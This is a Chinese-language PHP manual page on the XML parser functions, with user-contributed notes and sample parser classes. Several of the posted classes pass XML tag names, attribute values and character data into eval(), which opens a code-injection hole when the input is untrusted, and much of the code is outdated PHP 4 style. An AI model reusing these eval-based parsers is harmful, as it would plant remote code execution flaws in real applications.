       xml_parser_free( $this->xml_parser );
   }

   function _startElement( $parser, $tag, $attributeList )
   {
       foreach( $attributeList as $name => $value )
       {
           $value = $this->_cleanString( $value );
           $object->$name = $value;
       }
       //replaces the special characters with the underscore (_) in tag name
       $tag = preg_replace("/[:\-\. ]/", "_", $tag);
       eval( "\$this->pointer[\$this->index]->" . $tag . "[] = \$object;" );
       eval( "\$size = sizeof( \$this->pointer[\$this->index]->" . $tag . " );" );
       eval( "\$this->pointer[] = &\$this->pointer[\$this->index]->" . $tag . "[\$size-1];" );

       $this->index++;
   }

   function _endElement( $parser, $tag )
   {
       array_pop( $this->pointer );
       $this->index--;
   }

   function _cData( $parser, $data )
   {
       if (empty($this->pointer[$this->index])) {
           if (rtrim($data, "\n"))
               $this->pointer[$this->index] = $data;
       } else {
           $this->pointer[$this->index] .= $data;
       }
   }

   function _cleanString( $string )
   {
       return utf8_decode( trim( $string ) );
   }
}

$m_xml = new CXml();
$xml_data = file_get_contents( $filename );

$m_xml->Set_XML_data( $xml_data );

$newsid = $m_xml->obj_data->root[0]->NewsID[0];
randlem at gmail dot com
15-Sep-2004 11:43
Here's a handy way to generate a tree that can be can be decended easily.

<?php
$file = 'xmltest.xml';

$tag_tree = array();
$stack = array();

class tag {
   var $name;
   var $attrs;
   var $children;
   function tag($name, $attrs, $children) {
       $this->name = $name;
       $this->attrs = $attrs;
       $this->children = $children;
   }
}

function startTag($parser, $name, $attrs) {
   global $tag_tree, $stack;
   $tag = new tag($name,$attrs,'');
   array_push($stack,$tag);
}

function endTag($parser, $name) {
   global $stack;
   $stack[count($stack)-2]->children[] = $stack[count($stack)-1];
   array_pop($stack);
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startTag", "endTag");

$data = xml_parse($xml_parser,file_get_contents($file));
if(!$data) {
   die(sprintf("XML error: %s at line %d",
xml_error_string(xml_get_error_code($xml_parser)),
xml_get_current_line_number($xml_parser)));
}

xml_parser_free($xml_parser);

print("\n");
print_r($stack);
print("\n");
?>
talraith at withouthonor dot com
09-Jul-2004 07:40
I have written a module that contains a class for use with XML documents.  The module is dual-purpose in that it will parse XML code into a native object tree structure and will generate XML code from the object tree structure.

The output produced from generating XML code is designed to be used by other applications and is not in human-readable form.

I would like to point out that the code does not use any eval() statements to create the tree.

I am posting my code for two purposes:

1) I am looking to refine it and make it more efficient
2) It may benefit someone that is looking for a module like this.

The code is too big to post in here, so I have uploaded it to a web site:  http://www.withouthonor.com/obj_xml.html

An example of parsing an XML document:

<?php

// Use the method of your choice to load the XML document
// into a variable...  (a very generic sample follows)
$XML = '<root><section>This is my sample XML code</section></root>';

$xml = new xml_doc($XML);
$xml->parse();

// Access root level object
$my_tag = $xml->getTag(0,$name,$attributes,$cdata,$children);

?>

It is then possible to loop through the children of the tag and process the data with your program.  The last variable above ($children) contains a list of tag reference ID's.  The object tree is created by assigning each tag a unique ID starting with zero.  The tree is created by using object references to relate parents and children.

If you wanted to create an XML document from scratch, the code would be similar to the following example:

<?php

$xml = new xml_doc();

// Create the root tag and retrieve reference ID #
$root_tag = $xml->createTag('root');

// The second parameter is for tag attributes
// This is done using an associative array
$xml->createTag('section',array(),'This is my sample XML code',$root_tag);

$my_output = $xml->generate();

print $my_output;

?>

The example above creates an XML document that is the same as the one used in my first example.  Another option available would be to load the XML code as in the first example, change it through PHP, and then generate the code and output it.
michelek
27-Oct-2003 02:42
its maybe not better, but me thinks its more stright-forward

--INPUT:

<?xml version="1.0" encoding="UTF-8"?>
<world>
   <country name="sweden">
       <city name="stockholm">
           <user>Adam</user>
           <user>Eva</user>
       </city>
       <city name="gteborg">
           <user>God</user>
       </city>
   </country>
   <country name="usa">
       <city name="new york">
           <user>Clinton</user>
           <user>Bush</user>
       </city>
   </country>
</world>

--CODE:
<?
/**
 * m_i_h_k_e_l_AT_w_w_DOT_e_e
 * 26.10.2003
**/
$filename = "m.m.xml";
$xmlC = new XmlC();
$xml_data = file_get_contents( $filename );

$xmlC->Set_XML_data( $xml_data );

echo( "<pre>\n" );
print_r( $xmlC->obj_data );
echo( "</pre>\n" );

class XmlC
{
  var $xml_data;
  var $obj_data;
  var $pointer;

  function XmlC()
  {
  }

  function Set_xml_data( &$xml_data )
  {
   $this->index = 0;
   $this->pointer[] = &$this->obj_data;

   $this->xml_data = $xml_data;
   $this->xml_parser = xml_parser_create( "UTF-8" );

   xml_parser_set_option( $this->xml_parser, XML_OPTION_CASE_FOLDING, false );
   xml_set_object( $this->xml_parser, &$this );
   xml_set_element_handler( $this->xml_parser, "_startElement", "_endElement");
   xml_set_character_data_handler( $this->xml_parser, "_cData" );

   xml_parse( $this->xml_parser, $this->xml_data, true );
   xml_parser_free( $this->xml_parser );
  }

  function _startElement( $parser, $tag, $attributeList )
  {
   foreach( $attributeList as $name => $value )
   {
     $value = $this->_cleanString( $value );
     $object->$name = $value;
   }
   eval( "\$this->pointer[\$this->index]->" . $tag . "[] = \$object;" );
   eval( "\$size = sizeof( \$this->pointer[\$this->index]->" . $tag . " );" );
   eval( "\$this->pointer[] = &\$this->pointer[\$this->index]->" . $tag . "[\$size-1];" );

   $this->index++;
  }

  function _endElement( $parser, $tag )
  {
   array_pop( $this->pointer );
   $this->index--;
  }

  function _cData( $parser, $data )
  {
   if( trim( $data ) )
   {
     $this->pointer[$this->index] = trim( $data );
   }
  }

  function _cleanString( $string )
  {
   return utf8_decode( trim( $string ) );
  }

}
?>
Adam Tylmad
12-Sep-2003 04:11
I've created a parser that returns an
object based on a xml document.

example:
<?xml version="1.0" encoding="ISO-8859-1" ?>
<country name="sweden">
   <city name="stockholm">
       <user>Adam</user>
       <user>Eve</user>
   </city>
   <city name="gteborg">
       <user>God</user>
   </city>
</country>
<country name="usa">
   <city name="new york">
       <user>Clinton</user>
       <user>Bush</user>
   </city>
</country>

generates the following object structure:
[country] => Array
(
   [0] => stdClass Object
       (
           [name] => sweden
           [city] => Array
               (
                   [0] => stdClass Object
                       (
                           [name] => stockholm
                           [user] => Array
                               (
                                   [0] => Adam
                                   [1] => Eve
                               )
                       )
                   [1] => stdClass Object
                       (
                           [name] => gteborg
                           [user] => God
                       )
               )
       )
   [1] => stdClass Object
       (
           [name] => usa
           [city] => stdClass
               (
                   [name] => new york
                   [user] => Array
                       (
                           [0] => Clinton
                           [1] => Bush
                       )
               )
       )
)

Here is the code:

class XMLParser {
   var $path;
   var $result;

   function XMLParser($encoding, $data) {
       $this->path = "\$this->result";
       $this->index = 0;

       $xml_parser = xml_parser_create($encoding);
       xml_set_object($xml_parser, &$this);
       xml_set_element_handler($xml_parser, 'startElement', 'endElement');
       xml_set_character_data_handler($xml_parser, 'characterData');

       xml_parse($xml_parser, $data, true);
       xml_parser_free($xml_parser);
   }

       function startElement($parser, $tag, $attributeList) {
           eval("\$vars = get_object_vars(".$this->path.");");
           $this->path .= "->".$tag;
           if ($vars and array_key_exists($tag, $vars)) {
                 eval("\$data = ".$this->path.";");
                     if (is_array($data)) {
                           $index = sizeof($data);
                           $this->path .= "[".$index."]";
                     } else if (is_object($data)) {
                           eval($this->path." = array(".$this->path.");");
                           $this->path .= "[1]";
                     }
           }
           eval($this->path." = null;");

           foreach($attributeList as $name => $value)
               eval($this->path."->".$name. " = '".XMLParser::cleanString($value)."';");
       }

   function endElement($parser, $tag) {
       $this->path = substr($this->path, 0, strrpos($this->path, "->"));
   }

   function characterData($parser, $data) {
       eval($this->path." = '".trim($data)."';");
   }
}

enjoy! And please make it better if you can ;-)
jacek <dot> prucia <at> 7bulls <dot> com
28-Aug-2002 12:03
don't underestimate is_final argument. If you ignore it (since it is optional) you can get strange results with non well-formed XML's, like no output from xml_parse at all. Also if you use feof($fp) as is_final make sure you don't use fgets, because there's a caveat with how feof is evaluated there.
06-Dec-2001 04:14
if you're using magic quotes by default, remember to turn them off for the XML parsing.
add a note add a note

后退 | 起点 | 前进
xml_parse_into_struct | 上一级 | xml_parser_create_ns


xml_parser_create_ns

(PHP 4 >= 4.0.5, PHP 5)

xml_parser_create_ns -- 生成一个支持命名空间的 XML 解析器

描述

resource xml_parser_create_ns ( [string encoding [, string sep]] )

函数 xml_parser_create_ns() 建立一个新的支持 XML 命名空间的解析器并返回可被其它 XML 函数使用的资源句柄。

通过有命名空间支持的解析器，传递给各种各样句柄函数的标签参数将由命名空间和标签名组成。命名空间和标签名的分隔符由 seperator 参数制定的字符串决定，其默认值为“:”。

可选参数 encoding 在 PHP 4 中用来指定要被解析的 XML 输入的字符编码方式。PHP 5 开始，自动侦测输入的 XML 的编码，因此 encoding 参数仅用来指定解析后输出数据的编码。在 PHP 4 总，默认输出的编码与输入数据的编码是相同的。如果传递了空字符串，解析器会尝试搜索头 3 或 4 个字节以确定文档的编码。在 PHP 5.0.0 和 5.0.1 总，默认输出的字符编码是 ISO-8859-1，而 PHP 5.0.2 及以上版本是 UTF-8。解析器支持的编码有 ISO-8859-1, UTF-8 和 US-ASCII。

请参阅函数 xml_parser_create() 和 xml_parser_free()。

add a note add a note User Contributed Notes
jonnyNO at SPAM dot sanriowasteland dot net
11-Jun-2002 08:49
This is from the Expat Function Reference by Clark Cooper, which is a reference to the C api.

"XML_Parser XML_ParserCreateNS(const XML_Char*encoding, XML_Char sep)
Constructs a new parser that has namespace processing in effect. Namespace expanded element names and attribute names are returned as a concatenation of the namespace URI, sep, and the local part of the name. This means that you should pick a character for sep that can't be part of a legal URI."

(from http://www.xml.com/pub/a/1999/09/expat/reference.html)

So thats what this function is for.  Now you know.
add a note add a note

后退 | 起点 | 前进
xml_parse | 上一级 | xml_parser_create


xml_parser_create

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_parser_create -- 建立一个 XML 解析器

描述

resource xml_parser_create ( [string encoding] )

函数 xml_parser_create() 建立一个新的 XML 解析器并返回可被其它 XML 函数使用的资源句柄。

可选参数 encoding 在 PHP 4 中用来指定要被解析的 XML 输入的字符编码方式。PHP 5 开始，自动侦测输入的 XML 的编码，因此 encoding 参数仅用来指定解析后输出数据的编码。在 PHP 4 总，默认输出的编码与输入数据的编码是相同的。如果传递了空字符串，解析器会尝试搜索头 3 或 4 个字节以确定文档的编码。在 PHP 5.0.0 和 5.0.1 总，默认输出的字符编码是 ISO-8859-1，而 PHP 5.0.2 及以上版本是 UTF-8。解析器支持的编码有 ISO-8859-1, UTF-8 和 US-ASCII。

请参阅函数 xml_parser_create_ns() 和 xml_parser_free()。

add a note add a note User Contributed Notes
19-Apr-2006 10:42
I'd also recommend adding the option below
xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,1);
Kim
22-Feb-2006 06:20
Actually, the XML parser DOES support more encodings.

The trick is to call $parser = xml_parser_create("");

I learned this trick from

http://tinyurl.com/2cmya (http://minutillo.com/steve/weblog/)
Tobbe
25-May-2005 09:01
The above "XML to array" code does not work properly if you have several tags on the same level and with the same name, example:

<currenterrors>
<error>
<description>This is a real error...</description>
</error>
<error>
<description>This is a second error...</description>
</error>
<error>
<description>Lots of errors today...</description>
</error>
<error>
<description>This is the last error...</description>
</error>
</currenterrors>

It will then only display the first <error>-tag.
In this case you will need to number the tags automatically or maybe have several arrays for each new element.
dma05 at web dot de
28-Apr-2005 05:54
xml_parser_create () on php5 sometimes detects the wrong input format for me -- for example, sometimes when i try to parse data that has been fetched from a databse by my script and that only contains a handful of special ISO-8859-1 characters, it seems to think the input was something else and xml_parse() chokes on things like umlauts.

the only reason i was able to figure out so far would be that -- unlike my data files -- the xml data generated by my script doesn't contain the <?xml  [...] encoding="..." ?> definition. every data source with that definition seemed just fine; it's kinda odd that it worked *sometimes* without it *shrugs*.
no matter what the reason, using utf8_encode () on the string made it work, and prepending '<?xml version="1.0" encoding="ISO-8859-1" ?>' worked as well.

this problem shouldn't occur in php4, since there you would specify the input encoding along with the output encoding.
php at stock-consulting dot com
21-Feb-2005 06:47
Even though I passed "UTF-8" as encoding type PHP (Version 4.3.3) did *not* treat the input file as UTF-8. The input file was missing the BOM header bytes (which may indeed be omitted, according to RFC3629...but things are a bit unclear there. The RFC seems to make mere recommendations concering the BOM header). If you want to sure that PHP treats an UTF-8 encoded file correctly, make sure that it begins with the corresponding 3 byte BOM header (0xEF 0xBB 0xBF)
jcalvert at gmx dot net
04-Apr-2004 02:39
To maintain compatibility between PHP4 and PHP5 you should always pass a string argument to this function. PHP4 autodetects the format of the input if you leave it out whereas PHP5 will assume the format to be ISO-8859-1 (and choke on the byte order marker of UTF-8 files).

Calling the function as <?php $res = xml_parser_create('') ?> will cause both versions of PHP to autodetect the format.
annettetruong at yahoo dot com
27-Mar-2004 02:21
Good article explaining how to use PHP to parse an XML RSS feed:

http://www.sitepoint.com/article/php-xml-parsing-rss-1-0/2
mmustafa at vsnl dot com
06-Jan-2004 02:00
thought I'd share this small piece of PHP code that prepares a proper array from XML Data
(uses xml_parse_into_struct to get a raw array)
features : 1) can easily adjust to multiple levels 2) simple.

<code>

$file = "data.xml";
$xml_parser = xml_parser_create();

if (!($fp = fopen($file, "r"))) {
   die("could not open XML input");
}

$data = fread($fp, filesize($file));
fclose($fp);
xml_parse_into_struct($xml_parser, $data, $vals, $index);
xml_parser_free($xml_parser);

$params = array();
$level = array();
foreach ($vals as $xml_elem) {
  if ($xml_elem['type'] == 'open') {
   if (array_key_exists('attributes',$xml_elem)) {
     list($level[$xml_elem['level']],$extra) = array_values($xml_elem['attributes']);
   } else {
     $level[$xml_elem['level']] = $xml_elem['tag'];
   }
  }
  if ($xml_elem['type'] == 'complete') {
   $start_level = 1;
   $php_stmt = '$params';
   while($start_level < $xml_elem['level']) {
     $php_stmt .= '[$level['.$start_level.']]';
     $start_level++;
   }
   $php_stmt .= '[$xml_elem[\'tag\']] = $xml_elem[\'value\'];';
   eval($php_stmt);
  }
}

echo "<pre>";
print_r ($params);
echo "</pre>";

</code>

Example :
I/P XML ...

<country id="ZZ">
<name>My Land</name>
<location>15E</location>
<area>40000</area>

   <state1>
<name>Hi State</name>
<area>1000</area>
<population>2000</population>

   <city1>
<location>13E</location>
<population>500</population>
<area>500</area>
</city1>

   <city2>
<location>13E</location>
<population>500</population>
<area>5000</area>
</city2>
</state1>

   <state2>
<name>Low State</name>
<area>3000</area>
<population>20000</population>

   <city1>
<location>15E</location>
<population>5000</population>
<area>1500</area>
</city1>
</state2>
</country>

O/P Array :
Array
(
   [ZZ] => Array
       (
           [NAME] => My Land
           [LOCATION] => 15E
           [AREA] => 40000
           [STATE1] => Array
               (
                   [NAME] => Hi State
                   [AREA] => 1000
                   [POPULATION] => 2000
                   [CITY1] => Array
                       (
                           [LOCATION] => 13E
                           [POPULATION] => 500
                           [AREA] => 500
                       )

                   [CITY2] => Array
                       (
                           [LOCATION] => 13E
                           [POPULATION] => 500
                           [AREA] => 5000
                       )

               )

           [STATE2] => Array
               (
                   [NAME] => Low State
                   [AREA] => 3000
                   [POPULATION] => 20000
                   [CITY1] => Array
                       (
                           [LOCATION] => 15E
                           [POPULATION] => 5000
                           [AREA] => 1500
                       )

               )

       )

)
add a note add a note

后退 | 起点 | 前进
xml_parser_create_ns | 上一级 | xml_parser_free


xml_parser_free

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_parser_free -- 释放指定的 XML 解析器

描述

bool xml_parser_free ( resource parser )

parser

指向要释放的 XML 解析器的指针。

如果 parser 参数没有指向一个合法的解析器，该函数将返回 FALSE，否则将释放指定的解析器并返回 TRUE。

add a note add a note User Contributed Notes
dio at edu dot uni-klu dot ac dot at
02-Oct-2005 12:56
If you try to free an XML parser while it is still parsing, strange things will happen - your script will "hang" and no output will be sent to the browser. Consider this pseudo-code example:

-------

...
if (!xml_parse($parser)) echo 'XML error';

xml_parser_free($parser);

...

function SomeCallbackWhichWasSetBefore(...)
{
global $parser;

...

if (some_error_happened) xml_parser_free($parser);  //problem!

...

}

------

It would be logical that xml_parse would return false if the parser was freed while parsing, right? Wrong! Instead, everything hangs and no output will be sent out (no matter whether output buffering is on or not). It took me more than an hour to figure out why: you cannot free a parser handle that is currently parsing. A simple solution:

-------

$xml_error = false;
if (!xml_parse($parser))
echo 'XML error (directly from parser)';
else if ($xml_error)
echo 'XML error (from some callback function);

xml_parser_free($parser);

...

function SomeCallbackWhichWasSetBefore(...)
{
global $parser;
global $xml_error;

if ($xml_error)
return;

...

if (some_error_occured)
{
$xml_error = false;
return;
}

...

}

-------

If you use this solution you will have to check for $xml_error in every callback function. Essentially what you're doing is that, in case you want to stop parsing because of an error, you continue until xml_parse() is finished (without actually doing anything) and then free the parser and act on the error.

Of course the underlying problem is that you cannot stop a parser while it is parsing. There should be some function like xml_throw_error() or xml_parser_stop() or whatever, but unfortunately there isn't.
php dot net at gwprogramming dot com (George Webb)
31-Oct-2003 10:56
I found that with PHP 4.3.4RC1, if you don't call xml_parser_free() before your script ends, some sort of ugliness occurs with the webserver; i.e. the HTTP connection is closed.  (The apache error_log says "exit signal Segmentation fault (11)".)

Usually PHP tends to clean up connections you don't explicitly close (e.g. database connections), but in this case apparently it doesn't.

Some web browsers (MSIE for one) do not actually show this problem, so you may not actually notice it.  Opera 7.11 does show it, which is how I discovered it.

So don't forget to call xml_parser_free() ... always!
add a note add a note

后退 | 起点 | 前进
xml_parser_create | 上一级 | xml_parser_get_option


xml_parser_get_option

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_parser_get_option -- 从 XML 解析器获取选项设置信息

描述

mixed xml_parser_get_option ( resource parser, int option )

parser

指向要获取设置信息的 XML 解析器的指针。

option

要获取的设置选项名称。可以使用 XML_OPTION_CASE_FOLDING 和 XML_OPTION_TARGET_ENCODING 常量。其说明见 xml_parser_set_option()。

如果 parser 参数没有指向一个合法的解析器或者 option 参数无效，该函数将返回 FALSE（同时产生 E_WARNING 警告）。否则将返回指定设置选项的值。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xml_parser_free | 上一级 | xml_parser_set_option


xml_parser_set_option

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_parser_set_option -- 为指定 XML 解析进行选项设置

说明

bool xml_parser_set_option ( resource parser, int option, mixed value )

parser

指向要设置选项信息的 XML 解析器的指针。

option

要设置的选项名称。请参考下文。

value

要给选项设置的新值。

如果 parser 参数没有指向一个合法的解析器或者指定的选项无法设置，该函数将返回 FALSE，否则将会把选项设置为指定的值并返回 TRUE。

可被设置的选项如下：

表格 1. XML 解析器选项

选项常量 | 数据类型 | 描述
XML_OPTION_CASE_FOLDING | integer | 控制在该 XML 解析器中 大小写折叠（case-folding） 是否有效。其默认值为有效。
XML_OPTION_SKIP_TAGSTART | integer | 指明在一个标记名前应略过几个字符。
XML_OPTION_SKIP_WHITE | integer | 是否略过由白空字符组成的值。
XML_OPTION_TARGET_ENCODING | string | 设置该 XML 解析器所使用的目标编码（target encoding）方式。其默认值和由 xml_parser_create() 函数设置的源编码（source encoding）方式相同。支持的目标编码方式有 ISO-8859-1、US-ASCII 和 UTF-8。

add a note add a note User Contributed Notes
matt at mcbridematt dot dhs dot org
16-Dec-2002 09:56
Re: anony at mous dot com
case folding is a violation of the XHTML specification. xhtml is all in lowercase to be inline with the DOM
pupeno at pupeno dot com
16-Nov-2002 05:14
XML is case sensitive, then, from my point of view, disabling case folding doesn't goes against xml 1.0 specifications but the contrary, disabling case folding allow us to distiguish between diferent cases of the same letter ('a' and 'A') which of XML are two diferent things.
From my point of view, disabling case folding is a good practice and I think it should be disabled by default.
More information on:
http://www.isacat.net/2001/xml/case.htm
and
http://www.w3.org/TR/REC-xml
Thank you.
ta at NOSPAM dot magicsquare dot info
09-Jul-2002 07:52
XML_OPTION_SKIP_WHITE works for me (linux, php 4.2.1)

phpinfo says :

XML Support active
XML Namespace Support active
EXPAT Version expat_1.95.2

i guess it depends on expat version/presence
chris at wildcharacters dot com
22-Oct-2001 10:32
The two 'skip' tags are not available to windows users using PHP 4.0.4.  The following:

$skipWhite = xml_parser_get_option ($xmlParser,XML_OPTION_SKIP_WHITE);
$skipTagStart = xml_parser_get_option ($xmlParser,XML_OPTION_SKIP_TAGSTART);

generates the following errors:
Warning: xml_parser_get_option: unknown option in c:/program files/abria merlin/apache/htdocs/xml/sax_test.php on line 230
gregoire dot hubert at fr dot alcove dot com
24-Mar-2001 01:05
XML_OPTION_SKIP_WHITE =1 allows the parser to skip "space" characters in xml document (default is 0)
anony at mous dot com
20-Apr-2000 08:26
Disable case folding or your code will be violating the XML 1.0 specification.
add a note add a note

后退 | 起点 | 前进
xml_parser_get_option | 上一级 | xml_set_character_data_handler


xml_set_character_data_handler

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_set_character_data_handler -- 建立字符数据处理器

说明

bool xml_set_character_data_handler ( resource parser, callback handler )

为 parser 变量指向的 XML 解析器指定字符数据处理函数。handler 为表示一个函数名称的字符串，该函数必须在为 parser 指定的解析器调用 xml_parse() 函数时已存在。

由 handler 参数命名的函数名必须接受两个参数： handler ( resource parser, string data )

parser

第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。

data

第二个参数 data 为包含有字符数据的字符串。

如果处理器函数名被设置为空字符串或者 FALSE，则该有问题的处理器将被屏蔽。

如果处理器被成功的建立，该函数将返回 TRUE，如果 parser 指向的不是合法的解析器，函数该函数将返回 FALSE。

注: 除了函数名，还可以用一个数组作参数，该数组由一个对象名和该对象的一个方法名两个元素组成。

add a note add a note User Contributed Notes
unspammable-iain at iaindooley dot com
04-Jan-2006 05:41
re: jason at omegavortex dot com below, another way to deal with whitespace issues is:

       function charData($parser,$data)
       {
           $char_data = trim($data);

           if($char_data)
               $char_data = preg_replace('/  */',' ',$data);

           $this->cdata .= $char_data;
       }

This means that:

   <p>here is my text <a href="something">my text</a>
   and here is some more after some spaces at the
   beginning of the line</p>

comes out properly. You could do further replacements if you want to deal with tabs in your files. i only ever use spaces. if you only use trim() then you would lose the space before the <a> tag above, but trim() is a good way to check for completely empty char data, then just replace more than one space with a single space. this will preserve a single space at the beginning and end of the cdata.
jason at omegavortex dot com
07-Dec-2005 03:00
I don't believe the problem has been addressed, but if you're parsing an XML file and run into the line break (or tab) problem I believe this function may help:

if (!preg_match("/((\r|)\n)/i", $data) || preg_match("/\\t+/i", $data)) {
(Code Here)
}
wako057 at gmx dot fr
23-Aug-2005 12:39
That give an example about the note.
When you are creating a class and you need to use a method of your class to the function xml_set_character_data_handler that is the way to point give the method:

class example
{
   function example()
   {
   }

  function data($parseur, $texte)
  {
     switch ($this->derniereBaliseRencontree)
     {
         case "TITLE":
                     -----
         break;
         case "LINK"
                   -----
         break;
       case "DESCRIPTION":
                   -----
       break;
     }
  }

  function fetchOpen($parseur, $nomBalise, $tableauAttributs)
  {
     ----------------
  }

  function fetchClose($parseur, $nomBalise)
  {
     ----------------
  }

  function ZZZ()
  {
     $parseurXML = xml_parser_create();
       xml_set_element_handler($parseurXML, Array(&$this, 'fetchOpen'),  Array(&$this, 'fetchClose'));
         ---------------- <IMPORTANT> --------------------------
       xml_set_character_data_handler($parseurXML, Array(&$this, 'data'));
       ---------------- </IMPORTANT> --------------------------
}
ben at removethis emediastudios dotcom
06-Aug-2005 06:53
I too love the undocumented "splitting" functionality :-p.

Rather than concatinating the data based on whether or not the current tag name has changed from the previous tag name I suggest always concatinating like the following with the $catData variable being unset in the endElement function:

<?php

function endElement ($parser, $data) {
  global $catData;

  // Because we are at an element end we know any splitting is finished
  unset($GLOBALS['catData']);
}

function characterData ($parser, $data) {
  global $catData;

  // Concatinate data in case splitting is taking place
  $catData.=$data;

}

?>

This got me around a problem with data like the following where, because characterData is not called for empty tags, the previous and current tag names were the same even though splitting was not taking place.

<companydept>
<companydeptID></companydeptID>
<companyID>1</companyID>
<companydeptName></companydeptName>
</companydept>
<companydept>
<companydeptID></companydeptID>
<companyID>2</companyID>
<companydeptName></companydeptName>
</companydept>
<companydept>
<companydeptID></companydeptID>
<companyID>3</companyID>
<companydeptName></companydeptName>
</companydept>
yaroukh at email dot cz
25-Apr-2005 11:51
It would be nice if someone could complete documentation of this function. I think that the "splitting" behaviour should (at least) be mentioned within the documentation, if not explained (please!). I'm not quite sure whether the cut comes after each 1024bytes/chars of data.

My experience looks as follows:
[xmlFile]
...
   <label>slo|ka</label>
   <comment>koment|&#345; sloky</comment>
...
[/xmlFile]
(Places where the character-data got splitted are marked with pipes. Plus there was latin small letter 'r' with caron instead of &#345;.)

Since the splitting is not mentioned in documentation one could assume that it is a bug; especially when you work with UTF-8 and the cuts come right before some special characters.
(Should the concatenating of $cData be considered to be the proper & 'final' way of processing character-data?)

Also I'd suggest to add another line in "Description" when fc has an alternate usage (instead of hiding it within the "Note" :o); in this particular case I'd prefer this:

Description:
bool xml_set_character_data_handler ( resource parser, callback handler )
bool xml_set_character_data_handler ( resource parser, object reference, method name )

... there are dozens of functions ofcourse where documentation works this way (I mean not mentioning the alternate usage in the "Description" part).

Have a nice day
  Yaroukh
flobee
13-Feb-2005 01:53
re. to Philippe Marc , and  karuna_gadde examples

i found out that the xml_set_character_data_handler call back  function can be called more often for the same element in particular the content is just a few chars long (happen on windows)

so a check up can give you the answer an may be for long strings too.
eg:
<?php
xml_set_character_data_handler($this->parser, "cdata");
//...
function cdata($parser, $cdata) {
// ...
if(isset($this->data[$this->currentItem][$this->currentField])) {
   $this->data[$this->currentItem][$this->currentField] .= $cdata;
} else {
   $this->data[$this->currentItem][$this->currentField] = $cdata;
}
?>
Philippe Marc
28-Oct-2004 10:21
How to overide the 1024 characters limitation of xml_set_character_data_handler.
Took me some time to find out how to deal with that!

When calling a basic XML parser:
$parseurXML = xml_parser_create();
xml_set_element_handler($parseurXML, "opentagfunction", "closetagfunction");
xml_set_character_data_handler($parseurXML, "textfunction");

The textfunction only receive 1024 characters at once, even if the text is 4000 characters long. In facts, the parser seems to split the data in pieces of 1024 characters. The way to handle that is to concatenate them.

example:
If you have an XML tag called UNIPROT_ABSTRACT containing a 4000 characters protein description:
function textfunction($parser, $text)
   {
     if ($last_tag_read=='UNIPROT_ABSTRACT') $uniprot.=$text;
   }
The function is called 4 times and receives 1024+1024+1024+928 characters that will be concatenated in the $uniprot variable using the ".=" concatenation fonction.

Easy to do, but not documented!
Brad dot Harrison at griffith dot edu dot au
12-Jul-2004 01:23
If you need to trim the white space for HTML code and don't rely on spaces for formatting text (if you are then it is time to use Style Sheets) then this code will come in very useful.

 $data=eregi_replace(">"."[[:space:]]+"."<","><",$data);
 $data=eregi_replace(">"."[[:space:]]+",">",$data);
 $data=eregi_replace("[[:space:]]+"."<","<",$data);
karuna_gadde at yahoo dot com
27-May-2004 10:01
<?
class Parser {

var $att;
var $id;
var $title;
var $content;
var $index=-1;
var $xml_parser;
var $tagname;

function parser()
{
$file = "data.xml";
$this->xml_parser = xml_parser_create();
xml_set_object($this->xml_parser,$this);
xml_set_element_handler($this->xml_parser, "startElement", "endElement");
xml_set_character_data_handler($this->xml_parser, 'elementContent');
if (!($fp = fopen($file, "r"))) {
die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
   $data=eregi_replace(">"."[[:space:]]+"."<","><",$data);
if (!xml_parse($this->xml_parser, $data, feof($fp))) {
die(sprintf("XML error: %s at line %d",
xml_error_string(xml_get_error_code($this->xml_parser)),
xml_get_current_line_number($this->xml_parser)));
}
}
xml_parser_free($this->xml_parser);
}

function startElement($parser, $name, $attrs) {
if (($name=="TREE") or ($name=="NODE") or ($name=="LEAFNODE"))
   {
         $this->index++;
         $this->att[$this->index]=$name;
   }
   $this->tagname=$name;
}

function elementContent($parser, $data) {
switch ($this->tagname)
{
     case 'ID':
                 $this->id[$this->index]=trim($data);
                 break;
     case 'TITLE' :
                 $this->title[$this->index]=trim($data);
                 //echo $data;
                 break;
     case 'CONTENT'    :
                 $this->content[$this->index]=trim($data);
                 break;

}
}
function endElement($parser, $name){
$this->tagname=="";
}
}
?>

I thought this class is more help full to know about xml_parser with no white spaces
michael dot stilson at wmich dot edu
05-Mar-2004 04:31
Hello,

This is an addition to the note posted by:
wiart at yahoo dot com
22-Aug-2003 05:31
Which is located below.

I had similar problems manually creating XML docs and adding new-lines within my node data, e.g.

<root>
   ...
   <node attribute="something">
       Here is some data. There is a lot of data, and I want to
       be able to read the data from a terminal window, so I add
       newlines to fit everything within 80 columns.
   </node>
   ...
</root>

So, given the above example, my data handler gets called 3 times and the result left in my variable is:

"newlines to fit everything within 80 columns."

Instead of all of the data within "node", which I was expecting.

By using the concatenation operator; however, as suggested by the mentioned note, I was able to get what I needed. Which is of course:

"Here is some data. There is a lot of data, and I want to be able to read the data from a terminal window, so I add newlines to fit everything within 80 columns."
dan30odd08 at hotmail dot com
02-Dec-2003 08:38
I just want to mention that i ran into a problem when parsing an xml file using the character data handler. If you happen to have a string which is also an internal php function stored in your xml data file and you want to output it as a string the parser dosent seem to recognize it.
   I found a way around this problem. In my case i was storing a string with the value read. This would not allow me to output the data so to work around this problem i added a backslash for every character in the data element.

   e.g.      <xml>
   from    <element>read</element>
   to      <element>////read</element>

i dont know if anyone has ran into this problem or not but i thought i would just put it here just so in case someone is getting stuck with this.
wiart at yahoo dot com
22-Aug-2003 08:31
WARNING !!!
Always use concatenation for getting the content of a XML tag when you write the function that will deal with the Character Data handling

Example:

$mycontent = '';
$xml_parser = xml_parser_create ();
xml_set_character_data_handler($xml_parser, "_characterdata");

function _characterdata($parser, $data){
  global $mycontent;
  //HERE: use .= and not =
  $mycontent .= $data;
}

...

while ($data = fread($fp, 4096)) {
   xml_parse($xml_parser, $data, feof($fp));
}

I had the following problem with the use of '=$data' :

In one of my XML documents, the parsing stopped in the middle of a character data :

In original document:
<prop name="nbres">100</prop>

What happened:
<prop name="nbres">10[parsing stopped here in chunck of 4096bytes]0</prop>

